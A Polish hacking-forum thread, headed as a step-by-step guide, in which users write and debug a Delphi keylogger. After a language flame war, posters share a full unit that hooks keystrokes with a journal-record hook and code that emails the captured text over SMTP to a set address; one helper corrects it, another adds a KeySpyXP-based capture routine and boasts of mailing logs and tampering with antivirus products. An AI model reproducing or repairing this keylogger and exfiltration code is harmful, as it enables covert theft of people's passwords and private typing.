Keylogger w DELPHI - krok po kroku

Damn3d

Użytkownik
Dołączył
Kwiecień 18, 2009
Posty
88
Nie wiem co wy bezmuzgi macie do Delphi...[/b]
No comment.

W C++ składnia jest mało czytelna... W związku z czym większość programistów gubi się w tym co napisała...[/b]
Jakoś w tym języku tworzone są największe projekty i nikt nie narzeka.

Albo też napisanie programu zajmuje o wiele więcej czasu niż w Delphi...[/b]
Co z tego, jak jakość jest kiepska?

Od tych "klocków" byście mogli się w końcu odp*****lić...[/b]
Inteligentny argument.
Delphi jest bardziej opłacalne... Szybko idzie na tym zarobić...[/b]
Niby gdzie? Nie wiem która firma chciałaby kiepskiej jakości programy budowane na samych gotowcach (Owszem, w Delphi da się zbudować profesjonalne programy. Ale mało kto to robi).

Delphi można "nauczyć" się w przeciągu roku... I pisać nawet gry, a co do C++ to nie jestem pewnien...[/b]
Widziałeś jakąś profesjonalną gre w Delphi ? 95% gier jest pisana w C++. Zresztą SDK do DirectX'a (jak i każdej popularnej biblioteki graficznej) jest oryginalnie w C.

Naukę zaczołem 4 lata temu (w 1 kl gim)... Przez ten cały czas próbowałem niejednokrotnie oswoić się z C++... Nawet zaczynałem od C++... Ale nic. To jest język dla ludzi chaotycznych...[/b]
ROTFL, że sam sie nie potrafisz nauczyć, to znaczy, że język jest kiepski ?
Rok później zaczołem z Delphi, sporo umiem... I od zaj***nia już na tym zarobiłem... C++ próbuję dalej przyswoić sobie... Każda kolejna próba jest męczarnią... A programuję z pasją...[/b]
Chyba czas zacząć myśleć z pasją.

Delphi jako język ma takie same możliwości jak CPP, ale:

- Jest jeden jedyny sprawny kompilator upadającej już firmy
- Nie ma *sprawnych* kompilatorów na inne systemy
- Żadne poważne projekty/biblioteki nie są napisane w tym języku
- Programy zazwyczaj są niskiej jakości z powodu używania kiepskich komponentów wszędzie, gdzie sie da
- Delphi utrudnia przyswajanie normalnych języków przez np. nie odróżnianie wielkości liter

EDIT:
Btw. To nie temat o Delphi/CPP.
 

thc_flow

Zbanowany
Dołączył
Listopad 13, 2008
Posty
649
Nie ma sprawnych kompilatorów, no tu akurat się nie zgodzę, poczytaj o FPC. Załatwia on też sprawę "innych systemów. Fakt jest taki, że możemy do niego dorzucić Lazarusa i mamy klona Delphi, tyle że wieloplatformowego. Osobiście preferuję oba języki (C++ i Object Pascal) a to którego użyję zależy głównie od tego co tworzę, jeśli chcę coś szybko naskrobać i w taki sposób, żeby nie było to kolejnym skryptem w Bashu czy Pythonie używam Pascala, bardziej zaawansowane projekty tworzę w C++, wymagające malutkie programiki w ASMie. To nie jest tak że jakiś język jest lepszy a inny gorszy, po prostu każdy ma inne przeznaczenie. A Pascal jest po prostu banalny i dlatego jeszcze istnieje, jest tym czym kiedyś był BASIC. Dziękuję, proponuję skończyć offtop.
 

Damn3d

Użytkownik
Dołączył
Kwiecień 18, 2009
Posty
88
Nie ma sprawnych kompilatorów, no tu akurat się nie zgodzę, poczytaj o FPC.[/b]
Nie uważam go za sprawny.
Załatwia on też sprawę "innych systemów.[/b]
Inne systemy to nie tylko Unixy.
Fakt jest taki, że możemy do niego dorzucić Lazarusa i mamy klona Delphi, tyle że wieloplatformowego.[/b]
Nie, implementacja VCLa nie jest kompatybilna, do tego prosty plik wynikowy na Windowsie (puste okienko) z LCL'em ważył 13 MB.
 

myslaf

Użytkownik
Dołączył
Lipiec 10, 2009
Posty
6
Ja mam problem z tym kodem:
Kod:
Procedure CostamCostam(Sender : TObject);


Begin
MessageSend.Body.Append('TMemo.Text'; // wprowadzasz treść jako TMemo.Text

MessageSend.From.Name := 'Przemo'; //od kogo
MessageSend.From.Address := '[email protected]'; //podajesz adres e-mail nadawcy
MessageSend.Recipients.EMailAddresses := '[email protected]'; //adres e-mail odbiorcy
MessageSend.Subject := 'Key'; //temat listu

{ UserName bądź UserId - to jest zeleżne od wersji Indy.}

SMTP.UserName := '[email protected]';
SMTP.Password := '*****';
SMTP.Host := 'smtp.poczta.onet.pl';
SMTP.AuthenticationType:=atLogin; // autoryzacja SMTP
SMTP.Connect;
try
SMTP.Send(MessageSend); //wyślij
finally
SMTP.Disconnect; //jeśli zakończy to rozłącz z serwerem
end;
end;

A takie sa bledy:
ZDJECIE
 

I3L4D3

Użytkownik
Dołączył
Styczeń 20, 2008
Posty
178
<div class='quotetop'>CYTAT(myslaf @ 12.07.2009, 23:13) <{POST_SNAPBACK}></div>
Ja mam problem z tym kodem:
Kod:
Procedure CostamCostam(Sender : TObject);


Begin
MessageSend.Body.Append('TMemo.Text'; // wprowadzasz treść jako TMemo.Text

MessageSend.From.Name := 'Przemo'; //od kogo
MessageSend.From.Address := '[email protected]'; //podajesz adres e-mail nadawcy
MessageSend.Recipients.EMailAddresses := '[email protected]'; //adres e-mail odbiorcy
MessageSend.Subject := 'Key'; //temat listu

{ UserName bądź UserId - to jest zeleżne od wersji Indy.}

SMTP.UserName := '[email protected]';
SMTP.Password := '*****';
SMTP.Host := 'smtp.poczta.onet.pl';
SMTP.AuthenticationType:=atLogin; // autoryzacja SMTP
SMTP.Connect;
try
SMTP.Send(MessageSend); //wyślij
finally
SMTP.Disconnect; //jeśli zakończy to rozłącz z serwerem
end;
end;

A takie sa bledy:
ZDJECIE[/b]


Musisz odpowiednio ponazywać komponenty...
Komponent TIdSMTP nazwij jako SMTP.
A komponent TIdMessage nazwij jako MessageSend.

Pokaż resztę kodu... Pewnie zapominasz o średniku [;] na końcu każdej linijki.
Średnika nie daje się po begin, try oraz finally...
 

myslaf

Użytkownik
Dołączył
Lipiec 10, 2009
Posty
6
Kod:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdComponent, IdTCPConnection, IdTCPClient,
  IdMessageClient, IdSMTP, IdBaseComponent, IdSysLogMessage;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    MessageSend: TIdSysLogMessage;
    SMTP: TIdSMTP;
    procedure FormDestroy(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Hook : Integer;

  MessageBuffer :TEventMsg;
implementation

{$R *.dfm}

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook); // wprowadzamy
end;
// prosta Funkcja przechwytująca strumień danych TYLKO WIELKIE LITERY
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin

Form1.Memo1.Text:=Form1.Memo1.Text+chr(MessageBuffer.paraml);
Result:=0;
end;
end;
else
begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;

Procedure CostamCostam(Sender : TObject);


Begin
MessageSend.Body.Append('TMemo.Text'; // wprowadzasz treść jako TMemo.Text

MessageSend.From.Name := 'Przemo'; //od kogo
MessageSend.From.Address := '[email protected]'; //podajesz adres e-mail nadawcy
MessageSend.Recipients.EMailAddresses := '[email protected]'; //adres e-mail odbiorcy
MessageSend.Subject := 'Key'; //temat listu

{ UserName bądź UserId - to jest zeleżne od wersji Indy.}

SMTP .UserName := '[email protected]';
SMTP.Password := '********';
SMTP.Host := 'smtp.poczta.onet.pl';
SMTP.AuthenticationType:=atLogin; // autoryzacja SMTP
SMTP.Connect;
try
SMTP.Send(MessageSend); //wyślij
finally
SMTP.Disconnect; //jeśli zakończy to rozłącz z serwerem
end;
end;

end.
 

I3L4D3

Użytkownik
Dołączył
Styczeń 20, 2008
Posty
178
@myslaf
Poprawiłem:

Kod:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdComponent, IdTCPConnection, IdTCPClient,
  IdMessageClient, IdSMTP, IdBaseComponent, IdSysLogMessage, IdMessage;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    SMTP: TIdSMTP;
    MessageSend: TIdMessage;
    procedure FormDestroy(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Hook : Integer;

  MessageBuffer :TEventMsg;
implementation

{$R *.dfm}

procedure TForm1.FormDestroy(Sender: TObject);
begin
  UnHookWindowsHookEx(Hook);
end;

function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
  case Code of
    HC_ACTION: begin
      MessageBuffer:=PEventMsg(lParam)^;
      if MessageBuffer.message = wm_KeyDown then
      begin
        Form1.Memo1.Text:=Form1.Memo1.Text+chr(MessageBuffer.paraml);
        Result:=0;
      end;
    end;
    else
    begin
      Result := CallNextHookEx(Hook, Code, wParam, lParam);
    end;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;

procedure CostamCostam(Sender : TObject);
begin
  Form1.MessageSend.Body.Append('TMemo.Text');
  Form1.MessageSend.From.Name := 'Przemo';
  Form1.MessageSend.From.Address := '[email protected]';
  Form1.MessageSend.Recipients.EMailAddresses := '[email protected]';
  Form1.MessageSend.Subject := 'Key';

  Form1.SMTP.UserName := '[email protected]';
  Form1.SMTP.Password := '********';
  Form1.SMTP.Host := 'smtp.poczta.onet.pl';
  Form1.SMTP.AuthenticationType:=atLogin; // autoryzacja SMTP
  Form1.SMTP.Connect;
  try
    Form1.SMTP.Send(Form1.MessageSend);
  finally
    Form1.SMTP.Disconnect; //jeśli zakończy to rozłącz z serwerem
  end;
end;

end.
 

delta12345

Użytkownik
Dołączył
Sierpień 4, 2009
Posty
3
emilianx co prawda potrafisz przechwycić klawisze ale powinieneś to zrobić w inny sposób a mianowicie tak:
zainstalować komponent KeySpXp następnie wstawić komponent Memo1 i nadać mu nazwę List.
Po wykonaniu tych czynności kliknij dwukrotnie komponent KeyspXp i wpisz następujący kod:

Kod:
procedure TAlfa12.KeySpyXP1Key(Sender: TObject; key: String);
begin
List.text := List.text + key;
List.text:=Stringreplace(List.Text,'{ENTER}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{RightMouseButton}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{LeftMouseButton}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{DELETE}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{Alt}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{shift}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{ctrl}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{TAB}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{LEFT SHIFT}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{UP}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{DOWN}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{RIGHT}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{LEFT}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F1}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F2}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F3}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F4}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F5}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F6}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F7}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F8}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F9}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F10}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F11}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F12}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{RIGHT CONTROL}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{LEFT ALT}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{BACKSPACE}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{LEFT CONTROL}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{RIGHT ALT}','',[rfreplaceall]);
end;

end.
Wtedy ten keylogger będzie dokładniej przechwytywał z klawiatury.
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
uzyj tego komponentu a potem spojrz na wykrywalnosc
<
 

Damn3d

Użytkownik
Dołączył
Kwiecień 18, 2009
Posty
88
A po co wam w ogóle forma w tym śmiesznym "keyloggerze" ?

Keylogger GhostXP zbudowany jest na zupełnie innej platformie przechwytującej, przy zastosowaniu zupełnie innych komponentów[/b]
Niesamowite.
 

delta12345

Użytkownik
Dołączył
Sierpień 4, 2009
Posty
3
Faktycznie forma jest zbędna, w delphi nie potrafię ale w c+ builder robiłem keylogger który wyłapuje klawisze i wszystko zapisuje w pliku txt, następnie wysyła ten plik na emaila jako załącznik.
Ten keylogger używa tylko komponenty do wysyłania emaila i jest o wiele lepszy od keyloggera napisanego w delphi.
 

delta12345

Użytkownik
Dołączył
Sierpień 4, 2009
Posty
3
A poza tym w C+ builder umiem zmieniać niektóre funkcje antywirusów takich jak kaspersky, nod i panda
 

Reiko

Użytkownik
Dołączył
Październik 27, 2010
Posty
9
Proszę Was... nie zaczynajcie śmiesznej i niekończącej kampanii który język programowania jest lepszy a który gorszy. Piszcie w tym co Wam pasuje, co lubicie. Proste. Wg mnie kto pisze że Delphi jest "be" jest bezmuzgiem i mało wie o Delphi.
 

kamkum

Użytkownik
Dołączył
Czerwiec 3, 2013
Posty
1
Witam, mam ogromną prośbę ściągnełam sobie logkext na maca zainstalowalam, natomiast mam problem z notanikiem haslem nie wiem co dalej z tym zrobić czy mogę prosić o jakieś wskazówki lub prośbę aby ktoś sie do mnie odezwał np. mailowo aby mi dokładnie to wytłumaczyć??? pozdrawiam
 
Do góry Bottom